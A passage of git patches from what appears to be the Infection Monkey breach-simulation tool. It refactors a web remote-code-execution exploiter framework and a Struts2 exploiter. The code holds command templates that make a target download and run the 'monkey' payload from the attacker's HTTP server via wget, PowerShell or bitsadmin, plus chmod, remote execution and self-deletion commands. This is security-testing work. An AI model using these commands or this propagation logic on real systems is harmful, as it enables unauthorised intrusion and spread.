a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py index 9409c2255..fb7eb91a3 100644 --- a/infection_monkey/network/mssql_fingerprint.py +++ b/infection_monkey/network/mssql_fingerprint.py @@ -53,6 +53,15 @@ class MSSQLFinger(HostFinger): LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) sock.close() return False + except socket.error as e: + if e.errno == socket.errno.ECONNRESET: + LOG.info('Connection was forcibly closed by the remote host. The host: {0} is rejecting the packet.' + .format(host)) + else: + LOG.error('An unknown socket error occurred while trying the mssql fingerprint, closing socket.', + exc_info=True) + sock.close() + return False host.services[self.SERVICE_NAME] = {} From d1a29872c481cedd8d8eece5cf69e2b5fd4cfc8d Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 8 Aug 2018 17:57:34 +0300 Subject: [PATCH 127/243] Fixed half of the notes and added a small tcp_port_to_service method in network/tools no message --- infection_monkey/exploit/tools.py | 9 ++ infection_monkey/exploit/web_rce.py | 203 ++++++++++-------------- infection_monkey/network/tcp_scanner.py | 4 +- infection_monkey/network/tools.py | 4 + infection_monkey/transport/http.py | 10 +- 5 files changed, 110 insertions(+), 120 deletions(-) diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index c40fd6f9c..5ba7f6869 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -388,6 +388,15 @@ class HTTPTools(object): @staticmethod def create_locked_transfer(host, src_path, lock, local_ip=None, local_port=None): + """ + Create http server for file transfer with lock + :param host: Variable with target's information + :param src_path: Monkey's path on current system + :param lock: Instance of lock + :param local_ip: + :param local_port: + :return: + """ if not local_port: local_port = get_free_tcp_port() diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index 571c0ad70..dedcb9f6b 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -7,12 +7,13 @@ from posixpath import join import re from abc import abstractmethod from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools -from network.tools import check_tcp_port +from network.tools import check_tcp_port, tcp_port_to_service __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) + class WebRCE(HostExploiter): def __init__(self, host): @@ -29,45 +30,58 @@ class WebRCE(HostExploiter): def exploit(self, url, command): """ A reference to a method which implements web exploit logic. - :param url: Url where to send maliciuos packet + :param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension. :param command: Command which will be executed on remote host :return: Command's output string. Or True/False if it's a blind exploit """ raise NotImplementedError() - @staticmethod - def get_open_service_ports(host, port_list, names): + def get_open_service_ports(self, port_list, names): """ - :param host: Host machine we are dealing with :param port_list: Potential ports to exploit. For example _config.HTTP_PORTS :param names: [] of service names. Example: ["http"] :return: Returns all open ports from port list that are of service names """ candidate_services = {} - for name in names: - chosen_services = { - service: host.services[service] for service in host.services if - ('name' in host.services[service]) and (host.services[service]['name'] == name) - } - candidate_services.update(chosen_services) + candidate_services.update({ + service: self.host.services[service] for service in self.host.services if + (self.host.services[service]['name'] in names) + }) valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if - 'tcp-' + str(port) in candidate_services] + tcp_port_to_service(port) in candidate_services] return valid_ports - @staticmethod - def check_if_port_open(host, port): - is_open, _ = check_tcp_port(host.ip_addr, port) + def check_if_port_open(self, port): + is_open, _ = check_tcp_port(self.host.ip_addr, port) if not is_open: - LOG.info("Port %s is closed on %r, skipping", port, host) + LOG.info("Port %d is closed on %r, skipping", port, self.host) return False return True - @staticmethod - def check_if_exploitable(exploiter, url): + def get_command(self, path, http_path, commands): + if 'linux' in self.host.os['type']: + command = commands['linux'] + else: + command = commands['windows'] + # Format command try: - resp = exploiter(url, CHECK_COMMAND) + command = command % {'monkey_path': path, 'http_path': http_path} + except KeyError: + LOG.error("Trying to exploit linux host, but linux command is missing/bad! " + "Check upload_monkey function docs.") + return False + return command + + def check_if_exploitable(self, url): + """ + Checks if target is exploitable by interacting with url + :param url: Url to exploit + :return: True if exploitable and false if not + """ + try: + resp = self.exploit(url, CHECK_COMMAND) if resp is True: return True elif resp is not False and ID_STRING in resp: @@ -78,46 +92,38 @@ class WebRCE(HostExploiter): LOG.error("Host's exploitability check failed due to: %s" % e) return False - @staticmethod - def build_potential_urls(host, ports, extensions=None): + def build_potential_urls(self, ports, extensions=None): """ - :param host: Domain part of url, for example ip of host - :param ports: Array [ port.nr, isHTTPS? ] + :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)] + Eg. ports: [[80, False], [443, True]] :param extensions: What subdirectories to scan. www.domain.com[/extension] :return: Array of url's to try and attack """ url_list = [] - if extensions is None: - for port in ports: - if port[1]: - url_list.append(("https://%s:%s" % (host.ip_addr, port[0]))) - else: - url_list.append(("http://%s:%s" % (host.ip_addr, port[0]))) - else: - # We parse extensions not to start with / + if extensions: for idx, extension in enumerate(extensions): if '/' in extension[0]: extensions[idx] = extension[1:] - for port in ports: - for extension in extensions: - if port[1]: - url_list.append(join(("https://%s:%s" % (host.ip_addr, port[0])), extension)) - else: - url_list.append(join(("http://%s:%s" % (host.ip_addr, port[0])), extension)) + else: + extensions = [""] + for port in ports: + for extension in extensions: + if port[1]: + protocol = "https" + else: + protocol = "http" + url_list.append(join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension)) if not url_list: LOG.info("No attack url's were built") return url_list - @staticmethod - def get_host_arch(host, exploiter, url): + def get_host_arch(self, url): """ - :param host: Host parameter - :param exploiter: Function with exploit logic. exploiter(url, command) :param url: Url for exploiter to use :return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ... """ - if 'linux' in host.os['type']: - resp = exploiter(url, ARCH_LINUX) + if 'linux' in self.host.os['type']: + resp = self.exploit(url, ARCH_LINUX) if resp: # Pulls architecture string arch = re.search('(?<=Architecture:)\s+(\w+)', resp) @@ -130,7 +136,7 @@ class WebRCE(HostExploiter): else: return False else: - resp = exploiter(url, ARCH_WINDOWS) + resp = self.exploit(url, ARCH_WINDOWS) if resp: if "64-bit" in resp: return "64" @@ -139,42 +145,34 @@ class WebRCE(HostExploiter): else: return False - @staticmethod - def check_remote_file(exploiter, url, path): + def check_remote_file(self, url, path): command = EXISTS % path - resp = exploiter(url, command) + resp = self.exploit(url, command) if 'No such file' in resp: return False else: LOG.info("Host %s was already infected under the current configuration, done" % host) return True - @staticmethod - def check_remote_files(host, exploiter, url, config): + def check_remote_files(self, url): """ - Checks if any monkey files are present on remote host - :param host: Host parameter - :param exploiter: Function with exploit logic. exploiter(url, command) :param url: Url for exploiter to use - :param config: Monkey config from which paths are taken :return: True if at least one file is found, False otherwise """ paths = [] - if 'linux' in host.os['type']: - paths.append(config.dropper_target_path_linux) + if 'linux' in self.host.os['type']: + paths.append(self._config.dropper_target_path_linux) else: - paths.append(config.dropper_target_path_win_32) - paths.append(config.dropper_target_path_win_64) + paths.append(self._config.dropper_target_path_win_32) + paths.append(self._config.dropper_target_path_win_64) for path in paths: - if WebRCE.check_remote_file(exploiter, url, path): + if self.check_remote_file(url, path): return True return False - @staticmethod - def get_monkey_dest_path(config, src_path): + def get_monkey_dest_path(self, src_path): """ Gets destination path from source path. - :param config: monkey configuration :param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe :return: Corresponding monkey path from configuration """ @@ -183,46 +181,36 @@ class WebRCE(HostExploiter): return False try: if 'linux' in src_path: - return config.dropper_target_path_linux + return self._config.dropper_target_path_linux elif "windows-32" in src_path: - return config.dropper_target_path_win_32 + return self._config.dropper_target_path_win_32 else: - return config.dropper_target_path_win_64 + return self._config.dropper_target_path_win_64 except AttributeError: LOG.error("Seems like configuration properties names changed. " "Can not get destination path to upload monkey") return False # Wrapped functions: - - @staticmethod - def get_ports_w(host, ports, names, log_msg=None): - ports = WebRCE.get_open_service_ports(host, ports, names) - if not ports and not log_msg: + def get_ports_w(self, ports, names): + ports = WebRCE.get_open_service_ports(self.host, ports, names) + if not ports: LOG.info("All default web ports are closed on %r, skipping", host) return False - elif not ports and log_msg: - LOG.info(log_msg) - return False else: return ports - @staticmethod - def set_host_arch(host, exploiter, url): - arch = WebRCE.get_host_arch(host, exploiter, url) + def set_host_arch(self, exploiter, url): + arch = WebRCE.get_host_arch(exploiter, url) if not arch: LOG.error("Couldn't get host machine's architecture") return False else: - host.os['machine'] = arch + self.host.os['machine'] = arch return True - @staticmethod - def upload_monkey(host, config, exploiter, url, commands=None): + def upload_monkey(self, url, commands=None): """ - :param host: Where we are trying to upload - :param exploiter:exploiter(url, command) Method that implements web RCE - :param config: Monkey config, to get the path where to place uploaded monkey :param url: Where exploiter should send it's request :param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD} Command must have "monkey_path" and "http_path" format parameters. @@ -236,7 +224,7 @@ class WebRCE(HostExploiter): # Determine which destination path to use LOG.debug("Monkey path found") lock = Lock() - path = WebRCE.get_monkey_dest_path(config, src_path) + path = WebRCE.get_monkey_dest_path(self._config, src_path) if not path: return False # To avoid race conditions we pass a locked lock to http servers thread @@ -248,60 +236,44 @@ class WebRCE(HostExploiter): LOG.debug("Exploiter failed, http transfer creation failed.") return False LOG.info("Started http server on %s", http_path) - if not host.os['type']: + if not self.host.os['type']: LOG.error("Unknown target's os type. Skipping.") return False - if 'linux' in host.os['type']: - if not commands: - command = WGET_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path} - else: - try: - command = commands['linux'] % {'monkey_path': path, 'http_path': http_path} - except KeyError: - LOG.error("Trying to exploit linux host, but linux command is missing/bad! " - "Check upload_monkey function docs.") - return False + # Choose command: + if commands: + command = WebRCE.get_command(self.host, path, http_path, commands) else: - if not commands: - command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path} - else: - try: - command = commands['windows'] % {'monkey_path': path, 'http_path': http_path} - except KeyError: - LOG.error("Trying to exploit windows host, but windows command is missing/bad! " - "Check upload_monkey function docs.") - return False - resp = exploiter(url, command) + command = WebRCE.get_command(self.host, path, http_path, + {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}) + + resp = self.exploit(url, command) if not isinstance(resp, bool) and 'owershell is not recognized' in resp: LOG.info("Powershell not found in host. Using bitsadmin to download.") backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} - resp = exploiter(url, backup_command) + resp = self.exploit(url, backup_command) lock.release() http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() - LOG.info("Uploading proccess finished") + LOG.info("Uploading process finished") return {'response': resp, 'path': path} - @staticmethod - def change_permissions(host, url, exploiter, path, command=None): + def change_permissions(self, url, path, command=None): """ Method for linux hosts. Makes monkey executable - :param host: Host info :param url: Where to send malicious packets - :param exploiter: exploiter(url, command) Method that implements web RCE. :param path: Path to monkey on remote host :param command: Formatted command for permission change or None :return: response, False if failed and True if permission change is not needed """ LOG.info("Changing monkey's permissions") - if 'windows' in host.os['type']: + if 'windows' in self.host.os['type']: LOG.info("Permission change not required for windows") return True if not command: command = CHMOD_MONKEY % {'monkey_path': path} try: - resp = exploiter(url, command) + resp = self.exploit(url, command) except Exception as e: LOG.error("Something went wrong while trying to change permission: %s" % e) return False @@ -314,18 +286,15 @@ class WebRCE(HostExploiter): LOG.error("Missing permissions to make monkey executable") return False elif 'No such file or directory' in resp: - LOG.error("Could not change persmission because monkey was not found. Check path parameter.") + LOG.error("Could not change permission because monkey was not found. Check path parameter.") return False LOG.info("Permission change finished") return resp - @staticmethod - def execute_remote_monkey(host, url, exploiter, path, dropper=False): + def execute_remote_monkey(self, url, path, dropper=False): """ This method executes remote monkey - :param host: Host info :param url: Where to send malicious packets - :param exploiter: exploiter(url, command) Method that implements web RCE. :param path: Path to monkey on remote host :param dropper: Should remote monkey be executed with dropper or with monkey arg? :return: Response or False if failed @@ -339,7 +308,7 @@ class WebRCE(HostExploiter): monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1) command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd} try: - resp = exploiter(url, command) + resp = self.exploit(url, command) # If exploiter returns True / False if type(resp) is bool: LOG.info("Execution attempt successfully finished") diff --git a/infection_monkey/network/tcp_scanner.py b/infection_monkey/network/tcp_scanner.py index e291e8d3e..625173e97 100644 --- a/infection_monkey/network/tcp_scanner.py +++ b/infection_monkey/network/tcp_scanner.py @@ -2,7 +2,7 @@ from itertools import izip_longest from random import shuffle from network import HostScanner, HostFinger -from network.tools import check_tcp_ports +from network.tools import check_tcp_ports, tcp_port_to_service __author__ = 'itamar' @@ -31,7 +31,7 @@ class TcpScanner(HostScanner, HostFinger): ports, banners = check_tcp_ports(host.ip_addr, target_ports, self._config.tcp_scan_timeout / 1000.0, self._config.tcp_scan_get_banner) for target_port, banner in izip_longest(ports, banners, fillvalue=None): - service = 'tcp-' + str(target_port) + service = tcp_port_to_service(target_port) host.services[service] = {} if banner: host.services[service]['banner'] = banner diff --git a/infection_monkey/network/tools.py b/infection_monkey/network/tools.py index 5053b6c32..303b0dd8f 100644 --- a/infection_monkey/network/tools.py +++ b/infection_monkey/network/tools.py @@ -154,3 +154,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False): except socket.error as exc: LOG.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc) return [], [] + + +def tcp_port_to_service(port): + return 'tcp-' + str(port) diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index 9f526565f..aa6cf4ee0 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -183,7 +183,14 @@ class HTTPServer(threading.Thread): self._stopped = True self.join(timeout) + class LockedHTTPServer(threading.Thread): + """ + Same as HTTPServer used for file downloads just with locks to avoid racing conditions. + """ + # Seconds to wait until server stops + STOP_TIMEOUT = 5 + def __init__(self, local_ip, local_port, filename, lock, max_downloads=1): self._local_ip = local_ip self._local_port = local_port @@ -210,10 +217,11 @@ class LockedHTTPServer(threading.Thread): self._stopped = True - def stop(self, timeout=5): + def stop(self, timeout=STOP_TIMEOUT): self._stopped = True self.join(timeout) + class HTTPConnectProxy(TransportProxyBase): def run(self): httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler) From 5232d84e061f448b0f3114292cd0851977fc887e Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 9 Aug 2018 16:52:15 +0300 Subject: [PATCH 128/243] Almost all notes fixed, but nothing tested. --- infection_monkey/exploit/struts2.py | 15 ++++---- infection_monkey/exploit/tools.py | 38 +++++++++++++++++++-- infection_monkey/exploit/web_rce.py | 53 +++++++++-------------------- infection_monkey/model/__init__.py | 3 -- 4 files changed, 61 insertions(+), 48 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 3a08d0487..c489a3784 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -12,7 +12,7 @@ import logging from exploit import HostExploiter from exploit.tools import get_target_monkey, get_monkey_depth from tools import build_monkey_commandline, HTTPTools -from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \ +from model import CHECK_COMMAND, POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, ID_STRING, RDP_CMDLINE_HTTP, \ DROPPER_ARG __author__ = "VakarisZ" @@ -21,6 +21,9 @@ LOG = logging.getLogger(__name__) DOWNLOAD_TIMEOUT = 300 +# Commands used to check if monkeys already exists +FIND_FILE = "ls %s" + class Struts2Exploiter(HostExploiter): _TARGET_OS_TYPE = ['linux', 'windows'] @@ -56,7 +59,7 @@ class Struts2Exploiter(HostExploiter): return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64]) def check_remote_file(self, host, path): - command = EXISTS % path + command = FIND_FILE % path resp = self.exploit(host, command) if 'No such file' in resp: return False @@ -88,7 +91,7 @@ class Struts2Exploiter(HostExploiter): cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path) - command = WGET_HTTP % {'monkey_path': dropper_path, + command = WGET_HTTP_UPLOAD % {'monkey_path': dropper_path, 'http_path': http_path, 'parameters': cmdline} self.exploit(url, command) @@ -138,7 +141,7 @@ class Struts2Exploiter(HostExploiter): # We need to double escape backslashes. Once for payload, twice for command cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)) - command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline} backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), @@ -159,7 +162,7 @@ class Struts2Exploiter(HostExploiter): @staticmethod def check_exploit_windows(url): - resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS) + resp = Struts2Exploiter.exploit(url, CHECK_COMMAND) if resp and ID_STRING in resp: if "64-bit" in resp: return "64" @@ -170,7 +173,7 @@ class Struts2Exploiter(HostExploiter): @staticmethod def check_exploit_linux(url): - resp = Struts2Exploiter.exploit(url, CHECK_LINUX) + resp = Struts2Exploiter.exploit(url, CHECK_COMMAND) if resp and ID_STRING in resp: # Pulls architecture string arch = re.search('(?<=Architecture:)\s+(\w+)', resp) diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index 5ba7f6869..3b5b40649 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -22,6 +22,7 @@ from network import local_ips from network.firewall import app as firewall from network.info import get_free_tcp_port, get_routes from transport import HTTPServer, LockedHTTPServer +from threading import Lock class DceRpcException(Exception): @@ -387,9 +388,9 @@ class HTTPTools(object): return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd @staticmethod - def create_locked_transfer(host, src_path, lock, local_ip=None, local_port=None): + def create_locked_transfer(host, src_path, local_ip=None, local_port=None): """ - Create http server for file transfer with lock + Create http server for file transfer with a lock :param host: Variable with target's information :param src_path: Monkey's path on current system :param lock: Instance of lock @@ -397,6 +398,9 @@ class HTTPTools(object): :param local_port: :return: """ + # To avoid race conditions we pass a locked lock to http servers thread + lock = Lock() + lock.acquire() if not local_port: local_port = get_free_tcp_port() @@ -407,9 +411,10 @@ class HTTPTools(object): return None, None httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) + httpd.daemon = True httpd.start() - + lock.acquire() return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd @@ -507,3 +512,30 @@ def get_binaries_dir_path(): def get_monkey_depth(): from config import WormConfiguration return WormConfiguration.depth + + +def get_monkey_dest_path(src_path): + """ + Gets destination path from source path. + :param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe + :return: Corresponding monkey path from configuration + """ + from config import WormConfiguration + if not src_path or ('linux' not in src_path and 'windows' not in src_path): + LOG.error("Can't get destination path because source path %s is invalid.", src_path) + return False + try: + if 'linux' in src_path: + return WormConfiguration.dropper_target_path_linux + elif 'windows-32' in src_path: + return WormConfiguration.dropper_target_path_win_32 + elif 'windows-64' in src_path: + return WormConfiguration.dropper_target_path_win_64 + else: + LOG.error("Could not figure out what type of monkey server was trying to upload, " + "thus destination path can not be chosen.") + return False + except AttributeError: + LOG.error("Seems like monkey's source configuration property names changed. " + "Can not get destination path to upload monkey") + return False diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index dedcb9f6b..d3ae83b6d 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -6,12 +6,14 @@ from model import * from posixpath import join import re from abc import abstractmethod -from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools +from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools, get_monkey_dest_path from network.tools import check_tcp_port, tcp_port_to_service __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) +# Commands used to check if monkeys already exists +LOOK_FOR_FILE = "ls %s" class WebRCE(HostExploiter): @@ -101,12 +103,11 @@ class WebRCE(HostExploiter): """ url_list = [] if extensions: - for idx, extension in enumerate(extensions): - if '/' in extension[0]: - extensions[idx] = extension[1:] + extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] else: extensions = [""] for port in ports: + extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] for extension in extensions: if port[1]: protocol = "https" @@ -126,6 +127,7 @@ class WebRCE(HostExploiter): resp = self.exploit(url, ARCH_LINUX) if resp: # Pulls architecture string + # TODO TEST IF NOT FOUND arch = re.search('(?<=Architecture:)\s+(\w+)', resp) arch = arch.group(1) if arch: @@ -145,8 +147,8 @@ class WebRCE(HostExploiter): else: return False - def check_remote_file(self, url, path): - command = EXISTS % path + def check_remote_monkey_file(self, url, path): + command = LOOK_FOR_FILE % path resp = self.exploit(url, command) if 'No such file' in resp: return False @@ -163,36 +165,20 @@ class WebRCE(HostExploiter): if 'linux' in self.host.os['type']: paths.append(self._config.dropper_target_path_linux) else: - paths.append(self._config.dropper_target_path_win_32) - paths.append(self._config.dropper_target_path_win_64) + paths.extend([self._config.dropper_target_path_win_32, self._config.dropper_target_path_win_64]) for path in paths: if self.check_remote_file(url, path): return True return False - def get_monkey_dest_path(self, src_path): - """ - Gets destination path from source path. - :param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe - :return: Corresponding monkey path from configuration - """ - if not src_path or ('linux' not in src_path and 'windows' not in src_path): - LOG.error("Can't get destination path because source path %s is invalid.", src_path) - return False - try: - if 'linux' in src_path: - return self._config.dropper_target_path_linux - elif "windows-32" in src_path: - return self._config.dropper_target_path_win_32 - else: - return self._config.dropper_target_path_win_64 - except AttributeError: - LOG.error("Seems like configuration properties names changed. " - "Can not get destination path to upload monkey") - return False - # Wrapped functions: def get_ports_w(self, ports, names): + """ + Get ports wrapped with log + :param ports: Potential ports to exploit. For example WormConfiguration.HTTP_PORTS + :param names: [] of service names. Example: ["http"] + :return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?] + """ ports = WebRCE.get_open_service_ports(self.host, ports, names) if not ports: LOG.info("All default web ports are closed on %r, skipping", host) @@ -223,15 +209,11 @@ class WebRCE(HostExploiter): return False # Determine which destination path to use LOG.debug("Monkey path found") - lock = Lock() - path = WebRCE.get_monkey_dest_path(self._config, src_path) + path = get_monkey_dest_path(src_path) if not path: return False - # To avoid race conditions we pass a locked lock to http servers thread - lock.acquire() # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, lock) - lock.acquire() + http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path) if not http_path: LOG.debug("Exploiter failed, http transfer creation failed.") return False @@ -252,7 +234,6 @@ class WebRCE(HostExploiter): LOG.info("Powershell not found in host. Using bitsadmin to download.") backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} resp = self.exploit(url, backup_command) - lock.release() http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() LOG.info("Uploading process finished") diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 0c1e5a09b..31bc77eb8 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -29,7 +29,4 @@ CHECK_COMMAND = "echo %s" % ID_STRING ARCH_WINDOWS = "wmic os get osarchitecture" ARCH_LINUX = "lscpu" -# Commands used to check if monkeys already exists -EXISTS = "ls %s" - DOWNLOAD_TIMEOUT = 300 \ No newline at end of file From 0d45a44d6b1600ef78da8d520898205a9b23c621 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Fri, 10 Aug 2018 15:07:56 +0300 Subject: [PATCH 129/243] Final, tested framework fixes --- infection_monkey/exploit/web_rce.py | 32 ++++++++++++++--------------- infection_monkey/model/__init__.py | 3 +-- 2 files changed, 16 insertions(+), 19 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index d3ae83b6d..f99e4da52 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -107,7 +107,6 @@ class WebRCE(HostExploiter): else: extensions = [""] for port in ports: - extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] for extension in extensions: if port[1]: protocol = "https" @@ -127,9 +126,12 @@ class WebRCE(HostExploiter): resp = self.exploit(url, ARCH_LINUX) if resp: # Pulls architecture string - # TODO TEST IF NOT FOUND arch = re.search('(?<=Architecture:)\s+(\w+)', resp) - arch = arch.group(1) + try: + arch = arch.group(1) + except AttributeError: + LOG.error("Looked for linux architecture but could not find it") + return False if arch: return arch else: @@ -167,7 +169,7 @@ class WebRCE(HostExploiter): else: paths.extend([self._config.dropper_target_path_win_32, self._config.dropper_target_path_win_64]) for path in paths: - if self.check_remote_file(url, path): + if self.check_remote_monkey_file(url, path): return True return False @@ -179,15 +181,15 @@ class WebRCE(HostExploiter): :param names: [] of service names. Example: ["http"] :return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?] """ - ports = WebRCE.get_open_service_ports(self.host, ports, names) + ports = self.get_open_service_ports(ports, names) if not ports: LOG.info("All default web ports are closed on %r, skipping", host) return False else: return ports - def set_host_arch(self, exploiter, url): - arch = WebRCE.get_host_arch(exploiter, url) + def set_host_arch(self, url): + arch = self.get_host_arch(url) if not arch: LOG.error("Couldn't get host machine's architecture") return False @@ -203,7 +205,7 @@ class WebRCE(HostExploiter): :return: {'response': response/False, 'path': monkeys_path_in_host} """ LOG.info("Trying to upload monkey to the host.") - src_path = get_target_monkey(host) + src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", host) return False @@ -213,7 +215,7 @@ class WebRCE(HostExploiter): if not path: return False # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path) + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) if not http_path: LOG.debug("Exploiter failed, http transfer creation failed.") return False @@ -223,10 +225,9 @@ class WebRCE(HostExploiter): return False # Choose command: if commands: - command = WebRCE.get_command(self.host, path, http_path, commands) + command = self.get_command(path, http_path, commands) else: - command = WebRCE.get_command(self.host, path, http_path, - {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}) + command = self.get_command(path, http_path, {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}) resp = self.exploit(url, command) @@ -283,10 +284,10 @@ class WebRCE(HostExploiter): LOG.info("Trying to execute remote monkey") # Get monkey command line if dropper and path: - monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1, path) + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd} else: - monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1) + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd} try: resp = self.exploit(url, command) @@ -306,6 +307,3 @@ class WebRCE(HostExploiter): return False LOG.info("Execution attempt finished") return resp - - - diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 31bc77eb8..8b4f8d4ab 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -17,8 +17,7 @@ RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObje DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' # Commands used for downloading monkeys -POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%(http_path)s\\\' -OutFile \\\'%(monkey_path)s\\\' -UseBasicParsing\"" -POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" +POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' CHMOD_MONKEY = "chmod +x %(monkey_path)s" From b8bda692b91341d790f3e3f64717ef0d3ace0f4e Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 15 Aug 2018 16:01:27 +0300 Subject: [PATCH 130/243] Notes fixed v.2 --- infection_monkey/exploit/tools.py | 21 +++++----- infection_monkey/exploit/web_rce.py | 59 ++++++++++++++++++++++++----- infection_monkey/model/__init__.py | 4 +- infection_monkey/transport/http.py | 4 ++ 4 files changed, 65 insertions(+), 23 deletions(-) diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index 3b5b40649..08cc94af1 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -393,10 +393,9 @@ class HTTPTools(object): Create http server for file transfer with a lock :param host: Variable with target's information :param src_path: Monkey's path on current system - :param lock: Instance of lock - :param local_ip: - :param 